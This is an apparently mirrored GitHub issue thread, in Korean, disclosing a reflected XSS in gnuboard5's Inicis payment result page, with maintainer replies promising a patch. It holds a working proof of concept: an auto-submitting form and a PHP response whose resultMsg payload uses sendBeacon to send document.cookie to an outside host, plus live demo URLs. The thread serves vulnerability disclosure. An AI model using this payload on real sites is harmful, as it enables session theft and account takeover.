Giter Club home page Giter Club logo

Comments (4)

03sunf avatar 03sunf commented on August 15, 2024 1

위 테스트하신 sample.htmlauthUrl 파라미터의 값으로 페이로드를 리턴하는 주소가 입력되어야 합니다.

Payload 테스트 하실 수 있게 alert함수로 정리해드렸습니다!
http://cve.kr/gnuboard.php
https://demo.sir.kr/gnuboard5/shop/inicis/inistdpay_result.php?resultCode=0000&authUrl=https://03sunf.com/exploit.php

둘중 하나 아무거나 접속하셔도 됩니당

from gnuboard5.

03sunf avatar 03sunf commented on August 15, 2024

Code

if ((strcmp('0000', $resultMap['resultCode']) == 0) && (strcmp($secureSignature, $resultMap['authSignature']) == 0) ) { //결제보안 추가 2016-05-18
/* * ***************************************************************************
* 여기에 가맹점 내부 DB에 결제 결과를 반영하는 관련 프로그램 코드를 구현한다.
[중요!] 승인내용에 이상이 없음을 확인한 뒤 가맹점 DB에 해당건이 정상처리 되었음을 반영함
처리중 에러 발생시 망취소를 한다.
* **************************************************************************** */
//최종결제요청 결과 성공 DB처리
$tno = $resultMap['tid'];
$amount = $resultMap['TotPrice'];
$app_time = $resultMap['applDate'].$resultMap['applTime'];
$pay_method = $resultMap['payMethod'];
$pay_type = $PAY_METHOD[$pay_method];
$depositor = isset($resultMap['VACT_InputName']) ? $resultMap['VACT_InputName'] : '';
$commid = '';
$mobile_no = isset($resultMap['HPP_Num']) ? $resultMap['HPP_Num'] : '';
$app_no = isset($resultMap['applNum']) ? $resultMap['applNum'] : '';
$card_name = isset($resultMap['CARD_Code']) ? $CARD_CODE[$resultMap['CARD_Code']] : '';
switch($pay_type) {
case '계좌이체':
$bank_name = isset($BANK_CODE[$resultMap['ACCT_BankCode']]) ? $BANK_CODE[$resultMap['ACCT_BankCode']] : '';
if ($default['de_escrow_use'] == 1)
$escw_yn = 'Y';
break;
case '가상계좌':
$bankname = isset($BANK_CODE[$resultMap['VACT_BankCode']]) ? $BANK_CODE[$resultMap['VACT_BankCode']] : '';
$account = $resultMap['VACT_Num'].' '.$resultMap['VACT_Name'];
$app_no = $resultMap['VACT_Num'];
if ($default['de_escrow_use'] == 1)
$escw_yn = 'Y';
break;
default:
break;
}
$inicis_pay_result = true;
} else {
$s = '(오류코드:'.$resultMap['resultCode'].') '.$resultMap['resultMsg'];
alert($s, $page_return_url);
}

Content

/shop/inicis/inistdpay_result.php 내에서 $resultMap['resultMsg'] 변수에 대한 이스케이프 처리가 존재하지 않아 공격자가 페이지 에러를 유발하여 XSS를 트리거 할 수 있습니다.

Poc

http://cve.kr/gnuboard.php

<form id="exploit" method="POST" action="http://localhost/shop/inicis/inistdpay_result.php">
	<input name="resultCode" value="0000"/>
	<input name="authUrl" value="https://03sunf.com/exploit.php"/>
</form>
<script>
exploit.submit();
</script>

https://03sunf.com/exploit.php

<?php
        header('Content-Type: application/json');
?>
{
	"MOID": [],
	"resultMsg" :"\", navigator.sendBeacon('http://cve.kr:7777', document.cookie),\"", # Could handle this value as palyload.
	"tid": 0
}

Account take over with XSS

https://storage.cve.kr/GNUBOARD5_REFLECTED_XSS_POC.mp4

from gnuboard5.

 avatar commented on August 15, 2024

안녕하세요.
시연에서 보여주시는 것과 같은 현상을 발견하지 못하였습니다.
아마도 PHP의 설정이 달라서 그런것 같습니다.

sample.html

<form id="exploit" method="POST" action="https://demo.sir.kr/gnuboard5/shop/inicis/inistdpay_result.php">
	<input name="resultCode" value="0000"/>
	<input name="authUrl" value="" size="100"/>
    <input type="submit">
</form>

from gnuboard5.

kagla avatar kagla commented on August 15, 2024

안녕하세요.
확인이 늦었습니다.
다음번 패치에 반영하겠습니다.
알려주셔서 감사합니다.

from gnuboard5.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.